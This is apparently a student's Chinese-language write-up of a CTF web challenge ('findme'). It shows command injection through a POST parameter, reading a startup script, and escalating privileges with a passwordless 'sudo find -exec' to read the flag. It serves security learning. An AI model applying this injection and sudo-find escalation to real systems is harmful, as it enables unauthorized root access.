HNZUCTF findme

这次参加了杭师范的CTF比赛,来感受一下别人家的校赛web题,java和nodejs都不是很会,只能做做第一题,我还是太菜了()。算了,来看看题:

img

那就用hackbar直接post一个shit=1看看效果:

img

执行文件的路径不存在?既然这么说了直接看看根目录

shit=/bin/ls /

img

里面有flag,直接cat一下发现没有权限(果然没那么简单),那么接下来就要提权

看到根目录里面还有个start.sh,打开看看

shit=/bin/cat /start.sh

img

这个文件会在docker容器创建的时候运行,看来是个切入点,交给chatgpt看看,它这么说

1
2
3
4
5
6
7
这个脚本创建了一个名为“ctf”的新用户,然后将该用户添加到sudoers文件中,
允许其在不需要输入密码的情况下执行“/usr/bin/find”命令。
接下来,该脚本使用“su”命令切换到“ctf”用户,并执行“/main”命令。
请注意,这个脚本假设在系统中有一个名为“main”的可执行文件,
而且没有考虑到“ctf”用户的密码设置,如果密码没有设置或输入错误,
执行su命令时将无法切换到“ctf”用户。同时,赋予用户“ctf”对“find”命令的sudo访问权限需要谨慎使用,
因为这可能会导致潜在的安全风险。

果然是切入点,既然find有管理员权限就用find来提权。果然拿到了管理员权限。

shit=usr/bin/sudo find /tmp -name "随便一个tmp里的文件" -exec whoami \;

img

然后就是直接cat /flag了

shit=usr/bin/sudo find /tmp -name "随便一个tmp里的文件" -exec cat /flag \;

img

这次比赛,虽然我写出的题目不多,但收获还是很多的,杭师范的题目中docker,java后端,nodejs都比较接近于现实开发,其中漏洞也是根据现实生活中存在的漏洞来的。这也更让我明白如果不掌握正向的开发的话,逆向的安全也无从谈起。我作为一个对安全比较感兴趣的开发专业的学生,在掌握开发之前就接触了很多安全漏洞,实际上这只是是浮于表面的。所以今后我也会更加注重对开发的学习,先正向后逆向。